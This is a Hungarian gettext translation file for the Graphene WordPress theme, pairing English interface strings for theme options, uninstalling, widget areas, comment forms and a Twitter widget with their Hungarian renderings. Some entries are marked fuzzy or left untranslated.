#: admin/options.php:292
msgid "Reset to default settings"
msgstr "Alapbeállítások visszaállítása"

#: admin/options.php:297
msgid "Apply Options Preset"
msgstr "Előre beállított értékek jóváhagyása"

#: admin/options.php:307
msgid "Import/export theme options"
msgstr "Importálás/exportálás"

#: admin/options.php:310
msgid "Import"
msgstr "Import"

#: admin/options.php:313
msgid "Import Theme options"
msgstr "Sablonbeállítások importálása"

#: admin/options.php:315
msgid "Export"
msgstr "Export"

#: admin/options.php:319
msgid "Export Theme options"
msgstr "Sablonbeállítások exportálása"

#: admin/options.php:329
msgid "Uninstall theme"
msgstr "Sablon eltávolítása"

#: admin/options.php:332
msgid "<strong>Be careful!</strong> Uninstalling the theme will remove all of the theme's options from the database. Do this only if you decide not to use the theme anymore."
msgstr "<strong>Vigyázz!</strong> Az eltávolításkor minden beállítás törlődik az adatbázisból! Akkor használd, ha biztosan nem szeretnéd többet használni a sablont."

#: admin/options.php:333
#, fuzzy
msgid "If you just want to try another theme, there is no need to uninstall this theme. Simply activate the other theme in the Appearance &gt; Themes admin page."
msgstr "Ha másik sablont szeretnél használni, akkor nem kell ezt eltávolítani. Egyszerűen állítsd be a Vezérlőpultban a Megjelenés > Sablonok menüpontban a másikat."

#: admin/options.php:334
#, fuzzy
msgid "Note that uninstalling this theme <strong>does not remove</strong> the theme's files. To delete the files after you have uninstalled this theme, go to Appearances &gt; Themes and delete the theme from there."
msgstr "A sablon eltávolításakor a fájlok <strong>nem törlődnek</strong> a tárhelyről. Ahhoz, hogy a fájlokat is töröld, a Vezérlőpult Megjelenés > Sablonok pontjában töröld a sablont."

#: admin/options.php:351
msgid "The preview will be updated when the \"Save Options\" button above is clicked."
msgstr ""

#: admin/uninstall.php:24
#, php-format
msgid "Theme uninstalled. Redirecting to %s"
msgstr "Sablon eltávolítva. Átirányítás: %s"

#: admin/user.php:7
msgid "Graphene-specific User Profile Information"
msgstr "Graphene-specifikus felhasználói információk"

#: admin/user.php:8
msgid "The settings defined here are used only with the Graphene theme."
msgstr "Az itt beállított értékek csak a Graphene sablonra vonatkoznak."

#: admin/user.php:12
msgid "Author profile image URL"
msgstr "Szerző profilképének URL-je"

#: admin/user.php:13
msgid "You can specify the image to be displayed as the author's profile image in the Author's page. If no URL is defined here, the author's <a href=\"http://www.gravatar.com\">Gravatar</a> will be used."
msgstr "Be tudsz saját képet állítani, amit a Szerző oldalán láthanak majd. Ha nem állítasz be képet, úgy a <a href=\"http://www.gravatar.com\">Gravatar</a> oldalról fog képet használni."

#: admin/user.php:17
msgid "Please enter the full URL (including <code>http://</code>) to your profile image."
msgstr "Add meg a teljes elérési utat (használd a <code>http://</code> előtagot is) a profilképed eléréséhez."

#: admin/user.php:17
msgid "<strong>Important: </strong>Image width must be less than or equal to <strong>150px</strong>."
msgstr "<strong>FONTOS: </strong>A képnek kisebbnek, vagy egyezőnek kell lenni <strong>150px</strong> mérettel."

#: admin/js/admin.js.php:47
msgid "Social Media name"
msgstr "Közösségi oldal neve"

#: admin/js/admin.js.php:50
msgid "Name of the social media, e.g. LinkedIn, etc."
msgstr "Írd be az oldal nevét, pl.: Linkedin, Iwiw, stb"

#: admin/js/admin.js.php:54
#, fuzzy
msgid "Social Media title"
msgstr "Közösségi oldal neve"

#: admin/js/admin.js.php:57
msgid "Title for the social media, leave empty for generated title."
msgstr ""

#: admin/js/admin.js.php:61
msgid "Social Media profile URL"
msgstr "Közösségi oldalon található profil URL-je"

#: admin/js/admin.js.php:64
msgid "URL to your page for the social media."
msgstr "A profiloldal URL címe."

#: admin/js/admin.js.php:68
msgid "Social Media icon URL"
msgstr "Közösségi oldal ikonjánek URL-je"

#: admin/js/admin.js.php:71
#, php-format
msgid "URL to the social media icon. Note: the theme uses the %s icon set for the social media icons. Please do not hotlink the icons on the site. Download the icons you need and upload them to your server instead."
msgstr ""

#. translators: %1$s is the comment date, %2$s is the comment time
#: includes/theme-comments.php:34
#, php-format
msgid "%1$s at %2$s"
msgstr "%1$s , %2$s"

#: includes/theme-comments.php:36
msgid "Edit comment"
msgstr "Hozzászólás szerkesztése"

#: includes/theme-comments.php:40
msgid "Reply"
msgstr "Válasz"

#: includes/theme-comments.php:51
msgid "Your comment is awaiting moderation."
msgstr "A hozzászólás moderációra vár."

#: includes/theme-comments.php:76
msgid "Name:"
msgstr "Név:"

#: includes/theme-comments.php:81
msgid "Email:"
msgstr "Email:"

#: includes/theme-comments.php:86
msgid "Website:"
msgstr "Honlapcím:"

#: includes/theme-comments.php:100
msgid "Message:"
msgstr "Üzenet:"

#: includes/theme-functions.php:72
#, php-format
msgid "Follow %s on Twitter"
msgstr "Kövesd %s a Twitteren!"

#: includes/theme-functions.php:75
#, php-format
msgid "Visit %s's Facebook page"
msgstr "Látogasd meg a %s's Facebook oldalát"

#: includes/theme-functions.php:97
#, php-format
msgid "Visit %1$s's %2$s page"
msgstr "Látogasd meg %1$s prfilját a %2$s közösségi oldalon"

#: includes/theme-loop.php:85
msgid "Continue reading &raquo;"
msgstr "Tovább... &raquo;"

#: includes/theme-loop.php:137
msgid "Older posts &laquo;"
msgstr "Régebbi bejegyzések &laquo;"

#: includes/theme-loop.php:138
msgid "&raquo; Newer posts"
msgstr "&raquo; Újabb bejegyzések"

#: includes/theme-loop.php:140
msgid "Next page &raquo;"
msgstr "Következő oldal &raquo;"

#: includes/theme-loop.php:141
msgid "&laquo; Previous page"
msgstr "&laquo; Előző oldal"

#: includes/theme-loop.php:221
msgid "<strong>ERROR: You must supply the post ID to get the image from as an argument when calling the graphene_get_post_image() function.</strong>"
msgstr "<strong>HIBA: meg kell adnod a bejegyzés ID azonosítóját ahhoz, hogy a képet meg tudja hívni a graphene_get_post_image() szkripttel.</strong>"

#: includes/theme-menu.php:65
msgid "Home"
msgstr "Kezdőoldal"

#: includes/theme-panes.php:93
msgid "Read more"
msgstr "Olvasd tovább"

#: includes/theme-setup.php:90
msgid "Header Menu"
msgstr "Fejléc menü"

#: includes/theme-setup.php:91
msgid "Secondary Menu"
msgstr "Másodlagos menü"

#: includes/theme-setup.php:92
#, fuzzy
msgid "Footer Menu"
msgstr "Lábrész beállításai"

#: includes/theme-setup.php:125
msgid "Header image by Syahir Hakim"
msgstr "A fejléc képet Syahir Hakim készítette"

#: includes/theme-setup.php:129
msgid "This is the default Graphene theme header image, cropped from image by Quantin Houyoux at sxc.hu"
msgstr "Ez a Graphene sablon alapértelmezett fejlécképe, az eredeti képet Quantin Houyoux készítette (sxc.hu)"

#: includes/theme-setup.php:133
#: includes/theme-setup.php:137
#: includes/theme-setup.php:141
#: includes/theme-setup.php:145
#: includes/theme-setup.php:149
msgid "Header image cropped from image by Ilco at sxc.hu"
msgstr "A fejlécképet Ilco készítette (sxc.hu)"

#: includes/theme-setup.php:204
msgid "Sidebar Widget Area"
msgstr "Elsődleges oldalsó Widget terület"

#: includes/theme-setup.php:206
#, fuzzy
msgid "The first sidebar widget area (will always be displayed on the right hand side)."
msgstr "Az 1. oldalsó Widget terület, ami csak a kezdőlapon látszik."

#: includes/theme-setup.php:213
msgid "Sidebar Two Widget Area"
msgstr "Oldalsó 2. Widget terület"

#: includes/theme-setup.php:215
#, fuzzy
msgid "The second sidebar widget area (will always be displayed on the left hand side)."
msgstr "Csak a kezdőlapon látható 2. oldalsó Widget terület."

#: includes/theme-setup.php:222
msgid "Footer Widget Area"
msgstr "Lábrész Widget terület"

#: includes/theme-setup.php:224
msgid "The footer widget area. Leave empty to disable. Set the number of columns to display at the theme's Display Options page."
msgstr "Lábrész Widget terület. Hagyd üresen, ha nem akarod használni. Az oszlopszámokat a sablon Kinézet beállításai menüben tudod megadni."

#: includes/theme-setup.php:239
msgid "Front Page Sidebar Widget Area"
msgstr "Kezdőoldal oldalsó Widget területe"

#: includes/theme-setup.php:241
msgid "The first sidebar widget area that will only be displayed on the front page."
msgstr "Az 1. oldalsó Widget terület, ami csak a kezdőlapon látszik."

#: includes/theme-setup.php:248
msgid "Front Page Sidebar Two Widget Area"
msgstr "Kezdőoldal 2. oldalsó Widget területe"

#: includes/theme-setup.php:250
msgid "The second sidebar widget area that will only be displayed on the front page."
msgstr "Csak a kezdőlapon látható 2. oldalsó Widget terület."

#: includes/theme-setup.php:259
msgid "Front Page Footer Widget Area"
msgstr "Kezdőoldal lábrészének Widget területe"

#: includes/theme-setup.php:261
msgid "The footer widget area that will only be displayed on the front page. Leave empty to disable. Set the number of columns to display at the theme's Display Options page."
msgstr "A lábrész Widget területe, ami a kezdőlapon látható csak. Hagyd üresen, ha nem akarod használni. Az oszlopszámokat a sablon Kinézet beállításai pontban tudod megadni."

#: includes/theme-setup.php:271
msgid "Header Widget Area"
msgstr "Fejrész Widget területe"

#: includes/theme-setup.php:273
msgid "The header widget area."
msgstr "A fejlécben található Widget terület."

#: includes/theme-setup.php:290
#, php-format
msgid "Dynamically added widget area. This widget area is attached to the %s action hook."
msgstr ""

#: includes/theme-slider.php:115
#: includes/theme-slider.php:143
msgid "View full post"
msgstr "Tovább a teljes cikkhez"

#: includes/theme-widgets.php:14
msgid "Display the latest Twitter status updates."
msgstr "Az utolsó Twitter bejegyzés(ek) mutatása."

#: includes/theme-widgets.php:46
#, fuzzy
msgid "Loading tweets..."
msgstr "utolsó tweet-ek"

#: includes/theme-widgets.php:50
msgid "Follow me on Twitter"
msgstr "Kövess a Twitteren!"

#: includes/theme-widgets.php:60
msgid "follower"
msgstr ""

#: includes/theme-widgets.php:61
msgid "followers"
msgstr ""

#: includes/theme-widgets.php:93
msgid "Latest tweets"
msgstr "utolsó tweet-ek"

#: includes/theme-widgets.php:100
msgid "Title:"
msgstr "Cím:"

#: includes/theme-widgets.php:104
msgid "Twitter Username:"
msgstr "Twitter felhasználónév:"

#: includes/theme-widgets.php:108
msgid "Number of tweets to display:"
msgstr "A megjelenítendő tweet-ek száma:"

#: includes/theme-widgets.php:112
msgid "Show followers count"
msgstr ""

#: includes/theme-widgets.php:116
msgid "Open links in new window"
msgstr ""

#~ msgid "% comments"
#~ msgstr "% hozzászólás"

#~ msgid "% pings"
#~ msgstr "% visszakövetés"

#~ msgid "Valid XHTML 1.0 Strict"
#~ msgstr "Valid XHTML 1.0 Strict"

#~ msgid "Valid CSS"
#~ msgstr "Valid CSS"

#~ msgid "Valid CSS Level 2.1"
#~ msgstr "Valid CSS Level 2.1"

#~ msgid "%1$s uses %2$s theme by %3$s."
#~ msgstr "%1$s a %2$s sablont használja, készítette %3$s."

#~ msgid "says:"
#~ msgstr "írta:"

#~ msgid ""
#~ "The first sidebar widget area (available in two and three column layouts)."
#~ msgstr ""
#~ "Elsődleges oldalsó Widget terület (a 2 és 3 oszlopos elrendezésnél "
#~ "használható)."

#~ msgid ""
#~ "The second sidebar widget area (only available in three column layouts)."
#~ msgstr ""
#~ "Másodlagos oldalsó Widget terület (csak a 3 oszlopos elrendezésnél "
#~ "használható)."

#~ msgid ""
#~ "URL to the social media icon. <strong>Note:</strong> the theme uses the %"
#~ "s iconset for the social media icons."
#~ msgstr ""
#~ "Az ikon elérhetőségének URL címe. <strong>Figyelem:</strong> a sablon a %"
#~ "s ikonkészletét használja."

#~ msgid "by"
#~ msgstr "szerző:"

#~ msgid "<div class=\"link-pages\"><p><strong>Pages:</strong> "
#~ msgstr "<div class=\"link-pages\"><p><strong>Oldalak:</strong> "

#~ msgid ""
#~ "Import and export is only available for to users with PHP version 5.2.1 "
#~ "and higher. You are using PHP version %s."
#~ msgstr ""
#~ "Import és export csak  PHP ver. 5.2.1 vagy újabb verzió esetében "
#~ "használható. A jelenlegi PHP verziód: %s."

#~ msgid "URL to your profile page for the social media."
#~ msgstr "A közösségi oldalon lévő profil URL címe."

#~ msgid "Show post author's gravatar"
#~ msgstr "Szerző gravatar képének mutatása"

#~ msgid "Visit Facebook page"
#~ msgstr "Ugrás a Facebook oldalra"

#~ msgid "No comment yet"
#~ msgstr "Még nem szóltak hozzá"

#~ msgid "No ping yet"
#~ msgstr "Még nincs visszakövetés"

#~ msgid "Feed Options"
#~ msgstr "Hírcsatorna beállítások"